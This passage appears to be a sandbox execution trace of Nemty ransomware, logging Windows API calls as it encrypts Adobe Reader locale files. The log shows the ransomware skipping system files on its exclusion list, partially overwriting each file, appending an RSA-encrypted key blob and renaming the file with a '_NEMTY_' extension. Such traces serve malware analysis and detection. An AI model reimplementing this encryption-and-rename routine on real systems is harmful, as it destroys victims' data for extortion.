hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.237] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.DEU", cAlternateFileName="")) returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2=".") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="..") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="...") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="windows") returned -1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="rsa") returned -1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="NTDETECT.COM") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="ntldr") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="MSDOS.SYS") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="IO.SYS") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="boot.ini") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="boot.ini") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="ntuser.dat") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="desktop.ini") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="CONFIG.SYS") returned 1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="RECYCLER") returned -1 [0175.237] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.238] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="bootmgr") returned 1 [0175.238] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="programdata") returned -1 [0175.238] lstrcmpiW (lpString1="PPKLITE.DEU", lpString2="appdata") returned 1 [0175.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DEU", lpUsedDefaultChar=0x0) returned 11 [0175.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.238] Sleep (dwMilliseconds=0x5) [0175.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c1cbcd0, dwHighDateTime=0x1d561e8)) [0175.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c1cbcd0, dwHighDateTime=0x1d561e8)) [0175.265] GetLastError () returned 0x0 [0175.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.265] GetLastError () returned 0x0 [0175.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.266] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.266] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.266] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.266] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+7Vv2r90HGgSkHxkHVv4o8e2zRlhYiGvrPH9Xb8p5yiywhMeM+tazqyMKYpXoLMc\r\neJh8wzhm4zSeU9f7DCHJexE6BS3A95jJLbubvtK8sDSukADv8DrojUyUvejNBjGI\r\nBGLrrJfdXnhlCn8/S3Kr+cZn2eobx1bUTRU21r6OxNTR2rAtdUNaq/pbxr9AHuvt\r\nMvI2HDLxM7lRwgHqDZG5fpy4oXSzAWROMh+oEUo8emIEUNrYCDiFC9lsKGyDaUJp\r\nrkTaLG0KWm/wPM/M7MSv9cAb/V4ivXGvCQLiwyzDykL05mTWG7s7IMN/wkEd1zej\r\nl8+CxtPN55eD3cJwvPnqrw==\r\n", pcchString=0x653e5dc) returned 1 [0175.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ppklite.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.266] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=558080) returned 1 [0175.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.266] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.267] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.281] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.281] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.282] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=558080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x88400 [0175.282] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.283] CloseHandle (hObject=0x2e8) returned 1 [0175.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.283] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ppklite.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ppklite.deu._nemty_kgobjgd_")) returned 1 [0175.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.284] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.DEU", cAlternateFileName="")) returned 1 [0175.284] lstrcmpiW (lpString1="RdLang32.DEU", lpString2=".") returned 1 [0175.284] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="..") returned 1 [0175.284] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="...") returned 1 [0175.284] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="windows") returned -1 [0175.284] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.284] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="rsa") returned -1 [0175.284] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="NTDETECT.COM") returned 1 [0175.284] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="ntldr") returned 1 [0175.284] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="MSDOS.SYS") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="IO.SYS") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="boot.ini") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="boot.ini") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="ntuser.dat") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="desktop.ini") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="CONFIG.SYS") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="RECYCLER") returned -1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="bootmgr") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="programdata") returned 1 [0175.285] lstrcmpiW (lpString1="RdLang32.DEU", lpString2="appdata") returned 1 [0175.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.285] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DEU", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.285] Sleep (dwMilliseconds=0x5) [0175.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c217f90, dwHighDateTime=0x1d561e8)) [0175.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c217f90, dwHighDateTime=0x1d561e8)) [0175.295] GetLastError () returned 0x0 [0175.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.295] GetLastError () returned 0x0 [0175.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.295] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.296] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="8DTYe49JoA27kGVfg/aCu7M2CAhaUs/VryeH5SCJOf+yk82CRKDf7JX+rjI+hpCL\r\nN/4Y/W6QTb/qC7gp4lA0G3rpNN69SWGKVA5SoiYHoggVERDknyJcOvcMM7GLL0He\r\n5lzxNZ1zmxPELM8QL9zCHmoytPFJyLBYuIZF8rTDL5e+O7zw/iPSZAMezyiKlt+k\r\nlcntai6htVdqQ6VMPehnOOHiIdCqd9ECsSuZB5Vr5eLwKEisLgpnf4b3GuJPVXPI\r\nOxVmrbm32LXWzqD53JRjcnP7cffWXzKU4WiPdh2/bbSerbHe96kgkFvyHAFlHQt0\r\nn1zGfB2vtZlQIcbtBIFZow==\r\n", pcchString=0x653e5dc) returned 1 [0175.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\rdlang32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.297] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1426432) returned 1 [0175.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.298] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.298] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.307] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.307] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.307] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1426432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15c400 [0175.307] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.309] CloseHandle (hObject=0x2e8) returned 1 [0175.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.310] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 